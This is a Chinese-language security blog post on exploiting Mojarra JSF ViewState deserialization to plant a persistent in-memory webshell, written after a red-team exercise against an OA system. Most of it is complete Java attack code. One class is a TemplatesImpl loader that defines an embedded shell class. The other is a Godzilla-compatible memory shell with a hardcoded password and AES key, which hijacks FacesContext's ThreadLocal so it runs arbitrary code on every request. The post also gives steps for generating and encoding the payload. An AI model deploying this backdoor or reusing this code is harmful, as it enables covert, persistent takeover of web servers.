Mojarra JSF 反序列化到内存马

某次攻防演练中遇到了一个OA靶标,登录页面为login.jsf,当时并不了解JSF反序列化,还是大哥直接一发payload 打了下来,事后便有了这篇文章。

环境搭建

使用vulhub的环境,启动容器后将/usr/src目录下的文件拷贝出来,新建maven项目,打包为war,启动tomcat,开始分析。

漏洞复现

该漏洞利用点在javax.faces.ViewState参数,该参数是用来保存页面状态的,在其 2.1.29-08、2.0.11-04 版本之前,参数未加密,并且直接将其进行了反序列化。

实际环境中,识别该组件可以通过以下方式:

  • 文件名、参数名是否有jsf字样
  • 表单参数默认值是否以H4sIA开头(Base64Gzip)

这次靶标的漏洞参数名为jsf_state_64,也就是从这里发现了端倪。

vulhub用的jdk7u21链,我这里自己加了CC依赖,然后使用了CC6,ysoserial生成payload,先gzip压缩,再base64编码,最后URL编码,放入参数中。
202309111722201jLrE59ujYih

构造内存马

大哥的打法是根据当时的容器注入了一个Weblogic内存马,这样虽然也成功完成了任务,不过在了解了一下JSF之后,我开始思考:有没有办法依靠JSF本身的机制来构造内存马呢?

JSF在国内流行度不高,以至于我找了近一周的资料,再加上和开发群群友的友好交♂流,才构造成功。
首先来看一下JSF技术的架构,其本质是MVC:
20230911172238oTMgjlVuXnjV
由上图可以看出,负责处理的部分是FacesServlet,在web.xml中能看到配置:
20230911172248DBEeZ7lSD8qB
对每个JSF请求,FacesServlet对象都会为其获取一个javax.faces.context.FacesContext类的实例,FacesContext的实例里包含了所有处理JSF请求所需的每个请求的状态信息,如下图所示:
20230911172304AZY4rbH0RjFg
可以看出,请求响应的核心就是FacesContext实例,它里面存放着应用程序的全部数据,我们也可以从中取出request以及response对象。

如何获取该实例呢?有一个静态方法FacesContext.getCurrentInstance(),它会返回与当前请求对应的FacesContext对象:

public static FacesContext getCurrentInstance() {
    FacesContext facesContext = (FacesContext)instance.get();
    if (null == facesContext) {
        facesContext = (FacesContext)threadInitContext.get(Thread.currentThread());
    }
    return facesContext;
}

这里的instance字段是什么呢?是一个静态的ThreadLocal对象:

private static ThreadLocal<FacesContext> instance = new ThreadLocal<FacesContext>() {};

这是为了实现FacesContext对象能够在同个线程内进行传递,便于后续的处理器能够处理。

FacesContext并非遵循单例模式,它是每一个HTTP请求对应一个FacesContext对象,也就是一个线程,正常情况下为了保证线程安全,每个线程之间的变量数据都是隔离的,所以如何使得自己的内存马能够影响所有FacesContext对象,这是一个需要解决的问题。

查找资料的时候,c0ny1师傅的半自动化挖掘request实现多种中间件回显给了我一点启示:
202309111723268P4h0FxZK6X4
以及fnmsd师傅的基于请求/响应对象搜索的Java中间件通用回显方法(针对HTTP)
20230911172337htbRIpDCslLs
所以思路是:将正常FacesContext对象的instance字段(希望你还没有忘记它是一个ThreadLocal对象)利用反射替换为一个A对象,A应该是ThreadLocal的子类,并且重写了其set()方法,其中添加了内存马的逻辑。

因为每次请求都会调用ThreadLocal.set(),也就会触发我们的内存马逻辑,恶意类已经被JVM加载,基本上是不会被卸载掉的,也就达到了持久化的目的。

具体实现

实现部分,分为两块来完成,分别是:内存马类和替换类。

所以整体逻辑就是,利用TemplatesImpl类加载替换类,替换类的作用是加载内存马类并替换掉原本的instance字段,具体代码如下:

//替换类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Loaders {
    public static class PayloadLoader extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet implements java.io.Serializable{
        static {
            try {
                byte[] evilBytes;
                ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
                Class facesClass = classLoader.loadClass("javax.faces.context.FacesContext");
                String className = "org.razor.exploits.JSFMemShellGodzilla4"; //内存马类名
                String evilBytesStr = "yv66vgAAA……"; //内存马类字节码

                Class base64Class = classLoader.loadClass("java.util.Base64");
                Class base64DecodeClass = classLoader.loadClass("java.util.Base64$Decoder");
                Object decoder = base64Class.getMethod("getDecoder").invoke(base64Class);
                Method decodeMethod = base64DecodeClass.getMethod("decode", String.class);
                evilBytes = (byte[]) decodeMethod.invoke(decoder, evilBytesStr);
                Method defineClassMethod = classLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
                defineClassMethod.setAccessible(true);
                Class evilClass = (Class) defineClassMethod.invoke(classLoader, className, evilBytes, Integer.valueOf("0"), evilBytes.length);
                Object evilObject = evilClass.newInstance();
                Field field = facesClass.getDeclaredField("instance");
                field.setAccessible(true);
                field.set(null, evilObject);
            } catch (Exception e) {
            }
        }
        public PayloadLoader(){this.transletVersion = 101;}

        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        }
    }
}

//哥斯拉内存马类
package org.razor.exploits;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class JSFMemShellGodzilla4 extends ThreadLocal{
    private static ThreadLocal newInstance;
    private static ClassLoader classLoader;
    private static String password = "pass";
    private static String key = "3c6e0b8a9c15224a";
    private static String md5 = md5(password + key);
    private static Class payload;

    static {
        try{
            classLoader = Thread.currentThread().getContextClassLoader();
            Field field = classLoader.loadClass("javax.faces.context.FacesContext").getDeclaredField("instance");
            field.setAccessible(true);
            newInstance = (ThreadLocal)field.get(null);
        }catch (Exception e){
        }
    }
    
    public Class defClass(byte[] classBytes) throws Throwable {
        Method method = classLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
        method.setAccessible(true);
        return ((Class)method.invoke(classLoader, null, classBytes, Integer.valueOf("0"), classBytes.length));
    }
    
    @Override
    public Object get(){
        return newInstance.get();
    }

    @Override
    public void set(Object obj){
        newInstance.set(obj);
        try{
            Field field = obj.getClass().getDeclaredField("externalContext");
            field.setAccessible(true);
            Object externalContext = field.get(obj);
            Field field2 = externalContext.getClass().getDeclaredField("request");
            field2.setAccessible(true);
            HttpServletRequest request = (HttpServletRequest)field2.get(externalContext);
            Field field3 = externalContext.getClass().getDeclaredField("response");
            field3.setAccessible(true);
            HttpServletResponse response = (HttpServletResponse)field3.get(externalContext);

            byte[] evilBytes = base64Decode(request.getParameter(password));
            evilBytes = x(evilBytes, false);
            if(payload == null){
                payload = defClass(evilBytes);
            }else{
                ByteArrayOutputStream arrayOutputStream = new ByteArrayOutputStream();
                Object f = payload.newInstance();
                f.equals(arrayOutputStream);
                f.equals(evilBytes);
                f.equals(request);
                response.getWriter().write(md5.substring(0, 16));
                f.toString();
                response.getWriter().write(base64Encode(x(arrayOutputStream.toByteArray(), true)));
                response.getWriter().write(md5.substring( 16));
            }

        }catch (Exception e){
        } catch (Throwable e) {
        }
    }

    public static byte[] x(byte[] s,boolean m){
        try{
            javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
            c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(key.getBytes(),"AES"));
            return c.doFinal(s);
        }catch (Exception e){
            return null;
        }
    }

    public static String md5(String s) {
        String ret = null;
        try {
            java.security.MessageDigest m;
            m = java.security.MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
        } catch (Exception e) {

        }
        return ret;
    }
    public static String base64Encode(byte[] bs) throws Exception {
        Class base64;
        String value = null;
        try {
            base64=Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
        } catch (Exception e) {
            try {
                base64=Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
            } catch (Exception e2) {

            }
        }
        return value;
    }
    public static byte[] base64Decode(String bs) throws Exception {
        Class base64;
        byte[] value = null;
        try {
            base64=Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
        } catch (Exception e)
        {
            try {
            base64=Class.forName("sun.misc.BASE64Decoder");
            Object decoder = base64.newInstance();
            value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
            } catch (Exception e2) {
            }
        }
        return value;
    }
}

先编译内存马类,将其base64字符串填入替换类,再编译替换类为字节码,再使用反序列化利用链加载替换类字节码,最后将payload编码:
20230911172415cqkjiFh0rCUN
该方法只测试了Tomcat环境,其余环境未测试。

总结

20230911172425lL4zmzh85TMu

参考文章

  • https://www.cnblogs.com/nice0e3/p/16205220.html
  • https://www.yiibai.com/jsf/jsf-life-cycle.html
  • https://www.cnblogs.com/CoLo/p/16886829.html
  • http://www.blogjava.net/AllanZ/archive/2009/07/20/287472.html
  • http://www.blogjava.net/AllanZ/archive/2009/07/20/287469.html
  • https://y4er.com/posts/solve-the-problem-of-godzilla-memory-shell-pagecontext
  • https://xz.aliyun.com/t/10556